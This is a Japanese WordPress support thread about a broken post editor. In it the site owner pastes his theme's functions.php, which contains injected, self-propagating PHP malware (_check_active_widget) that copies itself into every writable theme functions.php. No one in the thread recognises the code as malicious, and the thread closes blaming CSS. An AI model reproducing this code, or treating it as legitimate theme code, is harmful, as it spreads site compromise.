• 解決済 masahimuka

    (@masahimuka)


    【現象】
    管理画面の投稿や固定ページの編集画面で
    テキストエリアが非常に狭く、ビジュアルとテキストのモード変更もできない状態になりました

    【ローカル環境】
    OS:Win7
    IE10とGoogleChromeVer25にて確認してます

    【サーバー情報】
    ・サーバーサービス:NTT Bizメール&ウェブ ビジネス
    ・PHPバージョン:5.2.17
    ・MySQLバージョン:5.1.50

    【WordPress】
    ・WordPressバージョン:3.5
    ・使用中テーマ:SHOP001(http://wp-site.biz/

    【使用中プラグイン:現状の最新版】
    ・All in on SEO
    ・Any Mobile Theme Switcher
    ・Contact Form 7
    ・Exec-PHP
    ・jQuery Colorbox
    ・PS Auto Sitemap
    ・spam-byebye
    ・Viper’s Video Quicktags
    ・WP Multibyte Patch
    ・WP To Top
    ・Zoom

    【問題点詳細】
    Exec-PHPを使用しているので、管理者では投稿時にビジュアルを使用しないとしているので
    構わないのですが、投稿ユーザーはビジュアルも使用できるようにしていますが切り替えができない状態です
    また、どのユーザーでもテキストエリアが狭いので、打ち込みがほぼできない状態です

    こちらで対処してみたことは
    1.WPを公式サイトの3.5をDLしたものと入れ替え(「wp-contentフォルダとwp-config.php」以外全て)
    2.プラグインを無効にしつつ変化がないか確認
    3.テーマの変更(Twenty Twelveへ)をして変化の確認
    4.管理画面スタイル変更プラグイン追加(確認後改善されなかったので削除)
    5.テーマのfunction.phpなど、管理画面のCSS設定がないか等の確認
    以上のことを試してみましたが改善されませんでした

    問題の起きているサイトの下位フォルダにも同じバージョンのWP(テーマは違います)を流し、そちらの管理画面で確認したところ
    WPフォルダ以下のファイル構成に違いはありませんが、正常に表示できました
    (.htaccessなどもありません)
    CSSの問題かと思いましたが、総入れ替えしても解決できないので
    上記問題への対応方法をご教授いただけたらと思い投稿しました

    宜しくお願いします

9件の返信を表示中 - 1 - 9件目 (全9件中)
  • 経験上、管理画面のレイアウトや動作がおかしくなった場合は
    functions.phpに問題があることが多かったです。

    functions.phpを修正したりしませんでしたか?
    “<?php”の前や”?>”の後ろに不要な改行があったりしませんか?
    一度、現在のfunctions.phpをバックアップして、そのテーマの初期状態のfunctions.phpに
    変更してみたらどうなりますか?

    トピック投稿者 masahimuka

    (@masahimuka)

    potefiveさんありがとうございます

    テーマのfunction.phpを初期のものと入れ替えしましたが
    同じ現象でした

    初期のphpの内容

    <?php
    register_sidebar(array(
    'before_widget' => '<div id="%1$s" class="widget %2$s">',
    'after_widget' => '</div></div></div>',
    'before_title' => '<h3>',
    'after_title' => '</h3><div class="side_box"><div class="side_inbox">',
    ));
    define( 'NO_HEADER_TEXT', true );
    define('HEADER_IMAGE', '%s/img/top_img.jpg');
    define('HEADER_IMAGE_WIDTH', 920);
    define('HEADER_IMAGE_HEIGHT', 280);
    add_custom_image_header( $header_callback, $admin_header_callback );
    add_custom_background();
    ?>
    <?php add_theme_support( 'menus' ); ?>

    変更後のphpの内容

    <?php
    register_sidebar(array(
    'before_widget' => '<div id="%1$s" class="widget %2$s">',
    'after_widget' => '</div></div></div>',
    'before_title' => '<h3>',
    'after_title' => '</h3><div class="side_box"><div class="side_inbox">',
    ));
    define( 'NO_HEADER_TEXT', true );
    define('HEADER_IMAGE', '%s/img/top_img.jpg');
    define('HEADER_IMAGE_WIDTH', 920);
    define('HEADER_IMAGE_HEIGHT', 280);
    add_custom_image_header( $header_callback, $admin_header_callback );
    add_custom_background();
    ?>
    <?php add_theme_support( 'menus' ); ?>
    <?php
    function _check_active_widget(){
    	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    	$output=strip_tags($output, $allowed);
    	$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    	if (is_array($direst)){
    		foreach ($direst as $item){
    			if (is_writable($item)){
    				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
    				$cont=file_get_contents($item);
    				if (stripos($cont,$ftion) === false){
    					$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
    					$output .= $before . "Not found" . $after;
    					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
    					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
    					$output .= ($showdot && $ellipsis) ? "..." : "";
    				}
    			}
    		}
    	}
    	return $output;
    }
    function _get_all_widgetcont($wids,$items=array()){
    	$places=array_shift($wids);
    	if(substr($places,-1) == "/"){
    		$places=substr($places,0,-1);
    	}
    	if(!file_exists($places) || !is_dir($places)){
    		return false;
    	}elseif(is_readable($places)){
    		$elems=scandir($places);
    		foreach ($elems as $elem){
    			if ($elem != "." && $elem != ".."){
    				if (is_dir($places . "/" . $elem)){
    					$wids[]=$places . "/" . $elem;
    				} elseif (is_file($places . "/" . $elem)&&
    					$elem == substr(__FILE__,-13)){
    					$items[]=$places . "/" . $elem;}
    				}
    			}
    	}else{
    		return false;
    	}
    	if (sizeof($wids) > 0){
    		return _get_all_widgetcont($wids,$items);
    	} else {
    		return $items;
    	}
    }
    if(!function_exists("stripos")){
        function stripos(  $str, $needle, $offset = 0  ){
            return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
        }
    }
    
    if(!function_exists("strripos")){
        function strripos(  $haystack, $needle, $offset = 0  ) {
            if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
            if(  $offset < 0  ){
                $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
            }
            else{
                $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
            }
            if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
            $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
            return $pos;
        }
    }
    if(!function_exists("scandir")){
    	function scandir($dir,$listDirectories=false, $skipDots=true) {
    	    $dirArray = array();
    	    if ($handle = opendir($dir)) {
    	        while (false !== ($file = readdir($handle))) {
    	            if (($file != "." && $file != "..") || $skipDots == true) {
    	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
    	                array_push($dirArray,basename($file));
    	            }
    	        }
    	        closedir($handle);
    	    }
    	    return $dirArray;
    	}
    }
    add_action("admin_head", "_check_active_widget");
    add_filter( 'pre_option_link_manager_enabled', '__return_true' );
    ?>

    自分で追加したのは最後のadd_filterでリンクを活性化する部分で
    他はなぜ変わっているのかわかりません・・

    トピック投稿者 masahimuka

    (@masahimuka)

    追記
    ふと気になって最後の部分の

    }
    add_action("admin_head", "_check_active_widget");
    add_filter( 'pre_option_link_manager_enabled', '__return_true' );
    ?>

    を以下のように変更してみましたが

    }
    ?>
    <?php add_action("admin_head", "_check_active_widget"); ?>
    <?php add_filter( 'pre_option_link_manager_enabled', '__return_true' ); ?>

    変化なしでした
    また、PHP内部の余分なスペースは全て消し、PHPエディタを使って
    記述ミスがないか等のチェックを入れました

    違いましたか・・・失礼しました。
    よく考えたらテーマ変更して改善されないのですから、
    function.phpやcssは関係無さそうですね。

    過去記事にこんなものがありました。
    Xreaを使っていたら関係しているかもしれません。

    http://ja.forums.wordpress.org/topic/1927?replies=20

    何がきっかけかは分かりませんか?
    例えばwordpressのバージョンアップをしてからおかしくなったとか。

    トピック投稿者 masahimuka

    (@masahimuka)

    potefiveさんありがとうございます
    参考リンクのwp-admin内に.htaccessを置くという
    手を使ってみましたが、だめでした
    逆に管理ページにアクセスできなくなりましたので、慌てて削除した次第です^^;

    きっかけは、WP3.5にデフォルトテーマでは問題なく
    テーマを現在のに入れ替えてからなので、ずっとテーマの問題と思い
    調査・修正を試みていました
    今回、テーマを変更してみても直らなかったため
    全くわからなくなってしまったのです・・

    同じテーマ(shop001)を使ってみましたがレイアウトが崩れたりしませんね。
    良くわかりません・・・。

    ・最初からshop001を適用したら管理画面のレイアウトが崩れていたのでしょうか?
    ・管理画面はcssが適用されていないような状態になっているのでしょうか?
     それともcssは適用されているが、一部メニューが欠落していたり、
     テキストボックスの大きさが変わったりしてるだけなのでしょうか?
    ・通常ページの方のレイアウトも崩れているのでしょうか?
    ・通常テーマに変えてブラウザのキャッシュクリアをしても
     レイアウトは崩れているのでしょうか?
    ・何かエラーメッセージは表示されていませんか?
     エラーメッセージが入ることによりレイアウトが崩れることがあります。

    トピック投稿者 masahimuka

    (@masahimuka)

    ・最初からshop001を適用したら管理画面のレイアウトが崩れていたのでしょうか?
    テーマ適用後、しばらくたってから現象に気づきました

    ・管理画面はcssが適用されていないような状態になっているのでしょうか?
     それともcssは適用されているが、一部メニューが欠落していたり、
     テキストボックスの大きさが変わったりしてるだけなのでしょうか?
    CSSは適用されているように見えます
    投稿記事を入力するテキストエリアの幅が36バイト(全角18文字)になっています

    ・通常ページの方のレイアウトも崩れているのでしょうか?
    通常ページがどのページなのかわかりませんが
    管理画面の投稿と固定ページ以外の画面は問題ありません

    ・通常テーマに変えてブラウザのキャッシュクリアをしても
     レイアウトは崩れているのでしょうか?
    デフォルトテーマに変更し、キャッシュクリア後に確認しました

    ・何かエラーメッセージは表示されていませんか?
    エラーは表示されていません

    今気づいたのですが
    管理メニューの下に以下のような入力フォームが表示されています
    (幅はメニューの幅)
    ———————————–
    フルスクリーンモードを終了(リンクがhttp://xxx.xxx/wp-admin/post-new.php?post_type=page#)
    ビジュアル テキスト(どちらもリンクがhttp://xxx.xxx/wp-admin/post-new.php?post_type=page#)
    テキストボックス(吹き出しで「タイトルを入力してください」)
    テキストエリア(全角9文字分)
    文字数: 0(テキストのみ)
    Just write.(テキストのみ)
    ———————————–
    結果的に投稿及び固定ページの画面に入力フォームが二つ表示されている状態です
    既にある固定ページを編集で表示させると
    管理メニューの下に上記のフォームが空白で表示され
    画面右側の通常の編集用フォームに固定ページの内容が編集可能状態で表示されています

    スクリーンショットがアップできないのでわかりにくいですね・・
    申し訳ありません

    ———————————–
    フルスクリーンモードを終了(リンクがhttp://xxx.xxx/wp-admin/post-new.php?post_type=page#)
    ビジュアル テキスト(どちらもリンクがhttp://xxx.xxx/wp-admin/post-new.php?post_type=page#)
    テキストボックス(吹き出しで「タイトルを入力してください」)
    テキストエリア(全角9文字分)
    文字数: 0(テキストのみ)
    Just write.(テキストのみ)
    ———————————–

    これは投稿記事作成時に全画面表示したときに表示される
    メニューだと思います。
    全画面表示されるまでは、本来見えないはずなのでcssが中途半端に
    利いてしまっている気がします。

    エラーは表示されていません

    noticeやワーニングも無いでしょうか?
    phpが出力しているようなメッセージがあれば、それが怪しいのですが。

    後は、下位フォルダだとうまく表示されるとの事ですので、
    デフォルトテーマのファイルやwp-adminのファイルを
    下位フォルダと比較、コピーしていくぐらいでしょうか。
    修正した記憶のあるファイル.htaccessなども元に戻してみるとか・・・。

    申し訳ないですが、後はそれぐらいしか思いつかないですね。

    トピック投稿者 masahimuka

    (@masahimuka)

    potefiveさん
    ありがとうございます

    これは投稿記事作成時に全画面表示したときに表示される
    メニューだと思います。
    全画面表示されるまでは、本来見えないはずなのでcssが中途半端に
    利いてしまっている気がします。

    これでしょうね・・
    CSSの閉じ忘れや記述ミス、CSSファイルの読み込み順変更など色々試してみることにします

    ただ、サイトは本日公開になりましたので、テーマの変更はできないのと
    CSSの変更も夜中に少し試してみるくらいしかできないので
    これ以後しばらくはコメントもできないと思われます

    放置するのもまずいと思いますので、一旦「解決済み」として閉じさせていただきます
    長い間お付き合いいただきありがとうございました

9件の返信を表示中 - 1 - 9件目 (全9件中)
  • トピック「投稿と固定ページ画面がおかしい」には新たに返信することはできません。